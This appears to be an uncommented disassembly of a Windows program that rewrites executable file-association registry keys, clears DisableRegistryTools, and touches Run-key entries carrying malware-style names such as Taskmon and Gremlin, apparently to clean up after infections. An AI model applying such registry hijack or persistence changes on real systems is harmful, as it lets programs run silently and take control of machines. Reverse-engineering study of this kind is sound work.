call fcn.004386a0
mov word [ebp - 0x160], 0xa4
mov edx, 0x45eead
lea eax, [ebp - 0x6c]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, str.SoftwareCLASSEScomfile_shellopencommand
mov ecx, dword [eax]
lea eax, [ebp - 0x70]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push 0x80000002
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x70]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x6c]
mov edx, 2
call fcn.004386a0
mov word [ebp - 0x160], 0xb0
mov edx, 0x45eee2
lea eax, [ebp - 0x74]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, str.SoftwareCLASSESpiffile_shellopencommand
mov ecx, dword [eax]
lea eax, [ebp - 0x78]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push 0x80000002
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x78]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x74]
mov edx, 2
call fcn.004386a0
mov word [ebp - 0x160], 0xbc
mov edx, 0x45ef17
lea eax, [ebp - 0x7c]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, str.SoftwareCLASSES_regfile_shellopencommand
mov ecx, dword [eax]
lea eax, [ebp - 0x80]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push 0x80000002
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x80]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x7c]
mov edx, 2
call fcn.004386a0
mov word [ebp - 0x160], 0xc8
mov edx, 0x45ef55
lea eax, [ebp - 0x84]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, str.SoftwareCLASSES_scrfile_shellopencommand
mov ecx, dword [eax]
lea eax, [ebp - 0x88]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push 0x80000002
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x88]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x84]
mov edx, 2
call fcn.004386a0
mov word [ebp - 0x160], 0xd4
mov edx, 0x45ef79
lea eax, [ebp - 0x8c]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, 0x45ef5d
mov ecx, dword [eax]
lea eax, [ebp - 0x90]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x90]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x8c]
mov edx, 2
call fcn.004386a0
mov word [ebp - 0x160], 0xe0
mov edx, 0x45ef9d
lea eax, [ebp - 0x94]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, 0x45ef81
mov ecx, dword [eax]
lea eax, [ebp - 0x98]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x98]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x94]
mov edx, 2
call fcn.004386a0
mov word [ebp - 0x160], 0xec
mov edx, 0x45efc1
lea eax, [ebp - 0x9c]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, 0x45efa5
mov ecx, dword [eax]
lea eax, [ebp - 0xa0]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0xa0]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x9c]
mov edx, 2
call fcn.004386a0
mov word [ebp - 0x160], 0xf8
mov edx, 0x45efe5
lea eax, [ebp - 0xa4]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, 0x45efc9
mov ecx, dword [eax]
lea eax, [ebp - 0xa8]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0xa8]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0xa4]
mov edx, 2
call fcn.004386a0
mov word [ebp - 0x160], 0x104
mov edx, str.regedit.exe___1_
lea eax, [ebp - 0xac]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, str._regfile_shellopencommand
mov ecx, dword [eax]
lea eax, [ebp - 0xb0]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0xb0]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0xac]
mov edx, 2
call fcn.004386a0
mov word [ebp - 0x160], 0x110
mov edx, 0x45f036
lea eax, [ebp - 0xb4]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, 0x45f01a
mov ecx, dword [eax]
lea eax, [ebp - 0xb8]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0xb8]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0xb4]
mov edx, 2
call fcn.004386a0
mov dl, 1
mov eax, dword [0x419624]
call fcn.00419724
mov dword [ebp - 0x174], eax
mov edx, reloc.DZIP32.DLL_Ordinal_1
mov ecx, dword [ebp - 0x174]
mov dword [ecx + 0x18], 0x2001f
mov eax, dword [ebp - 0x174]
call fcn.00438624
mov word [ebp - 0x160], 0x11c
mov word [ebp - 0x160], 0x128
mov edx, 0x45f03e
lea eax, [ebp - 0xbc]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, dword [eax]
xor ecx, ecx
mov eax, dword [ebp - 0x174]
call fcn.0041982c
push eax
dec dword [ebp - 0x154]
lea eax, [ebp - 0xbc]
mov edx, 2
call fcn.004386a0
pop ecx
test cl, cl
je 0x41552e
mov word [ebp - 0x160], 0x134
mov edx, 0x45f079
lea eax, [ebp - 0xc0]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, dword [eax]
xor ecx, ecx
mov eax, dword [ebp - 0x174]
call fcn.00419dfc
dec dword [ebp - 0x154]
lea eax, [ebp - 0xc0]
mov edx, 2
call fcn.004386a0
mov word [ebp - 0x160], 0
mov eax, dword [ebp - 0x174]
call fcn.00419794
mov ebx, dword [ebp - 0x174]
mov dword [ebp - 0xc8], ebx
test ebx, ebx
je 0x41557c
mov eax, dword [ebx]
mov dword [ebp - 0xc4], eax
mov word [ebp - 0x160], 0x14c
mov edx, 3
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x160], 0x140
cmp word [ebp - 0x15e], 0
je case.0x41391d.2565
ret
push str.PutAS_
push 0x45f08e
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push 0x45f0c4
lea edx, [ebp - 0x380]
push edx
call fcn.0042bd64
add esp, 8
lea eax, [ebp - 0x27c]
push eax
lea edx, [ebp - 0x380]
push edx
call fcn.00417cc4
add esp, 8
jmp case.0x41391d.2565
push str.Spees
push 0x45f0cd
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push 0x45f131
push 0x45f102
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push 0x45f167
push 0x45f138
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push 0x45f16e
lea ecx, [ebp - 0x380]
push ecx
call fcn.0042bd64
add esp, 8
lea eax, [ebp - 0x27c]
push eax
lea edx, [ebp - 0x380]
push edx
call fcn.00417cc4
add esp, 8
jmp case.0x41391d.2565
push str.SystemLoad32
push 0x45f177
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.SvcHost32
push 0x45f1b3
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push 0x45f21b
push 0x45f1ec
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.winmur32.exe
push 0x45f228
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push 0x45f29b
push 0x45f26c
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.Windows_Manager_Control
push 0x45f2b3
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push 0x45f302
lea ecx, [ebp - 0x380]
push ecx
call fcn.0042bd64
add esp, 8
lea eax, [ebp - 0x27c]
push eax
lea edx, [ebp - 0x380]
push edx
call fcn.00417cc4
add esp, 8
mov dl, 1
mov eax, dword [0x419624]
call fcn.00419724
mov dword [ebp - 0x178], eax
mov edx, reloc.DZIP32.DLL_Ordinal_1
mov ecx, dword [ebp - 0x178]
mov dword [ecx + 0x18], 0x2001f
mov eax, dword [ebp - 0x178]
call fcn.00438624
mov word [ebp - 0x160], 0x158
mov word [ebp - 0x160], 0x164
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
lea eax, [ebp - 0xcc]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, dword [eax]
xor ecx, ecx
mov eax, dword [ebp - 0x178]
call fcn.0041982c
push eax
dec dword [ebp - 0x154]
lea eax, [ebp - 0xcc]
mov edx, 2
call fcn.004386a0
pop ecx
test cl, cl
je 0x4157d3
mov word [ebp - 0x160], 0x170
mov edx, str.DisableRegistryTools
lea eax, [ebp - 0xd0]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, dword [eax]
xor ecx, ecx
mov eax, dword [ebp - 0x178]
call fcn.00419dfc
dec dword [ebp - 0x154]
lea eax, [ebp - 0xd0]
mov edx, 2
call fcn.004386a0
mov word [ebp - 0x160], 0
mov eax, dword [ebp - 0x178]
call fcn.00419794
mov ebx, dword [ebp - 0x178]
mov dword [ebp - 0xd8], ebx
test ebx, ebx
je 0x415821
mov eax, dword [ebx]
mov dword [ebp - 0xd4], eax
mov word [ebp - 0x160], 0x188
mov edx, 3
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x160], 0x17c
cmp word [ebp - 0x15e], 0
je 0x41582c
ret
mov word [ebp - 0x160], 0x194
mov edx, 0x45f377
lea eax, [ebp - 0xdc]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, dword [eax]
push edx
mov edx, 0x45f35b
lea eax, [ebp - 0xe0]
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0xe0]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0xdc]
mov edx, 2
call fcn.004386a0
mov word [ebp - 0x160], 0x1a0
mov edx, 0x45f39b
lea eax, [ebp - 0xe4]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, str._batfile_shellopencommand
mov ecx, dword [eax]
lea eax, [ebp - 0xe8]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0xe8]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0xe4]
mov edx, 2
call fcn.004386a0
mov word [ebp - 0x160], 0x1ac
mov edx, 0x45f3bf
lea eax, [ebp - 0xec]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, str.comfile_shellopencommand
mov ecx, dword [eax]
lea eax, [ebp - 0xf0]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0xf0]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0xec]
mov edx, 2
call fcn.004386a0
mov word [ebp - 0x160], 0x1b8
mov edx, 0x45f3e3
lea eax, [ebp - 0xf4]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, str.piffile_shellopencommand
mov ecx, dword [eax]
lea eax, [ebp - 0xf8]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0xf8]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0xf4]
mov edx, 2
call fcn.004386a0
mov word [ebp - 0x160], 0x1c4
mov edx, str.__1___S
lea eax, [ebp - 0xfc]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, str._scrfile_shellopencommand
mov ecx, dword [eax]
lea eax, [ebp - 0x100]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x100]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0xfc]
mov edx, 2
call fcn.004386a0
push 0x45f43e
push 0x45f40f
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push 0x45f47f
push 0x45f448
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push 0x45f4b8
push 0x45f489
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
add esp, 0xc
push str.MsManager
push 0x45f4c2
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.rdvs
push 0x45f503
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.ie_brow
push 0x45f537
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.Winsock32driver
push 0x45f56e
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.Spees1
push 0x45f5ad
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.Spees2
push 0x45f5e3
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.Spees3
push 0x45f619
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.4wd___
push 0x45f64f
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push 0x45f685
lea ecx, [ebp - 0x380]
push ecx
call fcn.0042bd64
add esp, 8
lea eax, [ebp - 0x27c]
push eax
lea edx, [ebp - 0x380]
push edx
call fcn.00417cc4
add esp, 8
jmp case.0x41391d.2565
push str.natal
push 0x45f68e
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.win.ini
lea ecx, [ebp - 0x380]
push ecx
call fcn.0042bd64
add esp, 8
lea eax, [ebp - 0x27c]
push eax
lea edx, [ebp - 0x380]
push edx
call fcn.00417cc4
add esp, 8
jmp case.0x41391d.2565
lea ecx, [ebp - 0x27c]
push ecx
push 0x45f6cc
push 0x80000002
call fcn.00417f04
add esp, 0xc
lea eax, [ebp - 0x27c]
push eax
push 0x45f6fb
push 0x80000002
call fcn.00417f04
add esp, 0xc
jmp case.0x41391d.2565
push str.Online_Service
push 0x45f732
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.LoadService
push 0x45f770
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
lea edx, [ebp - 0x27c]
push edx
push 0x45f7ab
push 0x80000002
call fcn.00417f04
add esp, 0xc
jmp case.0x41391d.2565
lea ecx, [ebp - 0x27c]
push ecx
push 0x45f7da
push 0x80000002
call fcn.00417f04
add esp, 0xc
jmp case.0x41391d.2565
push str.cpntmgc
push 0x45f809
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push 0x45f86f
push 0x45f840
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.UninstallString
push 0x45f872
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.DisplayName
push str.SoftwareMicrosoftWindowsCurrentVersionUnInstall
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.TypeLibBA49BD6A_039C_428E_AF33_8C1288D75A7B
push Ordinal_1
call fcn.00418170
add esp, 8
push str.SOFTWARECLASSESMagicControl.MagicComponent.1
push 0x80000002
call fcn.00418170
add esp, 8
push str.SOFTWARECLASSESMagicControl.MagicComponent
push 0x80000002
call fcn.00418170
add esp, 8
push str.SOFTWARECLASSESCLSIDD7A82A12_05F5_42D8_B30D_6EF995075D2D
push 0x80000002
call fcn.00418170
add esp, 8
push str.SOFTWARECLASSESInterface6D3F48F4_B40A_4C3F_A95C_85E23C3A8A91
push 0x80000002
call fcn.00418170
add esp, 8
push str.SOFTWARECLASSESTypeLibBA49BD6A_039C_428E_AF33_8C1288D75A7B
push 0x80000002
call fcn.00418170
add esp, 8
jmp case.0x41391d.2565
push 0x45fa78
push 0x45fa49
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.Taskmon
push 0x45fa80
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
add esp, 0xc
push 0x45fab7
push 0x80000002
call fcn.00418170
add esp, 8
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32Version
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00418170
add esp, 8
jmp case.0x41391d.2565
push str.Svchost
push 0x45fb41
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.SCardSvr
push 0x45fb78
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.NavAgent32
push 0x45fbb8
push 0x80000002
call fcn.00417e0c
add esp, 0xc
mov dl, 1
mov eax, dword [0x419624]
call fcn.00419724
mov ebx, eax
mov edx, 0x80000002
mov eax, ebx
mov dword [ebx + 0x18], 0x2001f
call fcn.00438624
mov word [ebp - 0x160], 0x1d0
mov edx, str.SYSTEMCurrentControlSetServicesSCardDrv
lea eax, [ebp - 0x104]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, dword [eax]
xor ecx, ecx
mov eax, ebx
call fcn.0041982c
push eax
dec dword [ebp - 0x154]
lea eax, [ebp - 0x104]
mov edx, 2
call fcn.004386a0
pop ecx
test cl, cl
je 0x415eeb
mov edx, str._SystemRoot_System32ScardSvr.Exe
lea eax, [ebp - 0x10c]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, str.ImagePath
mov ecx, dword [eax]
lea eax, [ebp - 0x108]
push ecx
mov word [ebp - 0x160], 0x1dc
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, dword [eax]
mov eax, ebx
pop ecx
call fcn.00419d58
dec dword [ebp - 0x154]
lea eax, [ebp - 0x10c]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x108]
mov edx, 2
call fcn.004386a0
mov eax, ebx
call fcn.00419794
mov esi, ebx
mov dword [ebp - 0x114], esi
test esi, esi
je case.0x41391d.2565
mov eax, dword [esi]
mov dword [ebp - 0x110], eax
mov word [ebp - 0x160], 0x1f4
mov edx, 3
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x160], 0x1e8
jmp case.0x41391d.2565
push str.windows_automation
push 0x45fc4b
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push 0x45fcbc
push 0x45fc8d
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.Explorer
push 0x45fcc5
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push 0x45fd2c
push 0x45fcfd
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.Gremlin
push 0x45fd34
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
lea edx, [ebp - 0x27c]
push edx
push 0x45fd6b
push 0x80000002
call fcn.00417f04
add esp, 0xc
lea eax, [ebp - 0x27c]
push eax
push 0x45fd9a
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417f04
add esp, 0xc
jmp case.0x41391d.2565
push str.SYSTEMCurrentControlSetServicesdebug32
push 0x80000002
call fcn.00418170
add esp, 8
push 0x45fe23
push 0x45fdf4
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.machine_debugger
push 0x45fe34
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
mov word [ebp - 0x160], pe_nt_image_headers32
mov edx, 0x45fe98
lea eax, [ebp - 0x118]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, dword [eax]
push edx
mov edx, 0x45fe7c
lea eax, [ebp - 0x11c]
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x11c]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x118]
mov edx, 2
call fcn.004386a0
jmp case.0x41391d.2565
push 0x45fecf
push 0x45fea0
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.SpoolService
push 0x45fedc
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.www.hidro.4t.com
push 0x45ff20
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.au.exe
push 0x45ff60
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
add esp, 0xc
push str.SOFTWAREWindows2000
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00418170
add esp, 8
jmp case.0x41391d.2565
push str.service
push 0x45ffac
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push 0x460012
push 0x45ffe3
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.NeroCheck
push 0x46001c
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.ICQ_NET
push 0x460055
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
lea ecx, [ebp - 0x27c]
push ecx
push 0x46008c
push 0x80000002
call fcn.00417f04
add esp, 0xc
lea eax, [ebp - 0x27c]
push eax
push 0x4600bb
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417f04
add esp, 0xc
jmp case.0x41391d.2565
push str.gouday.exe
push 0x4600ea
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
add esp, 0xc
push 0x460138
push 0x460124
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
add esp, 0xc
push str.post
push 0x46013c
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
add esp, 0xc
push str.frun
push str.SoftwareDateTime2
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
lea edx, [ebp - 0x27c]
push edx
push 0x46016e
push 0x80000002
call fcn.00417f04
add esp, 0xc
lea ecx, [ebp - 0x27c]
push ecx
push 0x46019d
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417f04
add esp, 0xc
jmp case.0x41391d.2565
push str.Win_Server_Updt
push 0x4601cc
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push 0x460243
push str..DEFAULTSoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000003
call fcn.00417e0c
add esp, 0xc
push str.Ssate.exe
push 0x46024c
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
add esp, 0xc
push str.rate.exe
push 0x460285
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
add esp, 0xc
push str.SOFTWAREDateTime
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00418170
add esp, 8
push str.SOFTWAREDateTime4
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00418170
add esp, 8
push str.SOFTWAREwinexe
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00418170
add esp, 8
jmp case.0x41391d.2565
lea eax, [ebp - 0x27c]
push eax
push 0x4602f5
push 0x80000002
call fcn.00417f04
add esp, 0xc
jmp case.0x41391d.2565
push str.Zone_Labs_Client_Ex
push 0x460324
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
lea edx, [ebp - 0x27c]
push edx
push 0x460367
push 0x80000002
call fcn.00417f04
add esp, 0xc
lea ecx, [ebp - 0x27c]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
call fcn.00417f04
add esp, 0xc
jmp case.0x41391d.2565
lea eax, [ebp - 0x27c]
push eax
push 0x4603c9
push 0x80000002
call fcn.00417f04
add esp, 0xc
jmp case.0x41391d.2565
push str.Tiny_AV
push 0x4603f8
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.ICQ_Net
push 0x46042f
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
lea edx, [ebp - 0x27c]
push edx
push 0x460466
push 0x80000002
call fcn.00417f04
add esp, 0xc
jmp case.0x41391d.2565
push str.Internet_Optimizer
push 0x460495
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.Norton_Antivirus_AV
push 0x4604d7
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
lea ecx, [ebp - 0x27c]
push ecx
push 0x46051a
push 0x80000002
call fcn.00417f04
mov word [ebp - 0x160], 0x20c
add esp, 0xc
mov edx, 0x460578
lea eax, [ebp - 0x120]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, 0x460549
mov ecx, dword [eax]
lea eax, [ebp - 0x124]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push 0x80000002
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x124]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x120]
mov edx, 2
call fcn.004386a0
lea ecx, [ebp - 0x27c]
push ecx
push 0x460579
push 0x80000002
call fcn.00417f04
mov word [ebp - 0x160], 0x218
add esp, 0xc
mov edx, 0x4605e7
lea eax, [ebp - 0x128]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, 0x4605b0
mov ecx, dword [eax]
lea eax, [ebp - 0x12c]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push 0x80000002
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x12c]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x128]
mov edx, 2
call fcn.004386a0
lea ecx, [ebp - 0x27c]
push ecx
push 0x4605e8
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417f04
mov word [ebp - 0x160], 0x224
add esp, 0xc
mov edx, 0x460646
lea eax, [ebp - 0x130]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, 0x460617
mov ecx, dword [eax]
lea eax, [ebp - 0x134]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push reloc.DZIP32.DLL_Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x134]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x130]
mov edx, 2
call fcn.004386a0
jmp case.0x41391d.2565
push str.SysMonXP
push 0x460647
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
mov word [ebp - 0x160], 0x230
mov edx, str.__1___
lea eax, [ebp - 0x138]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, str.exefile_shellopencommand
mov ecx, dword [eax]
lea eax, [ebp - 0x13c]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x13c]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x138]
mov edx, 2
call fcn.004386a0
jmp case.0x41391d.2565
lea ecx, [ebp - 0x27c]
push ecx
push 0x4606a3
push 0x80000002
call fcn.00417f04
mov word [ebp - 0x160], 0x23c
add esp, 0xc
mov edx, str._System_webcheck.dll
lea eax, [ebp - 0x140]
call fcn.0043862c
inc dword [ebp - 0x154]
mov edx, str.CLSIDE6FB5E20_DE35_11CF_9C87_00AA005127EDInprocServer32
mov ecx, dword [eax]
lea eax, [ebp - 0x144]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x144]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x140]
mov edx, 2
call fcn.004386a0
mov word [ebp - 0x160], 0x248
mov edx, str._System__stobject.dll
lea eax, [ebp - 0x148]
call fcn.0043862c
inc dword [ebp - 0x154]
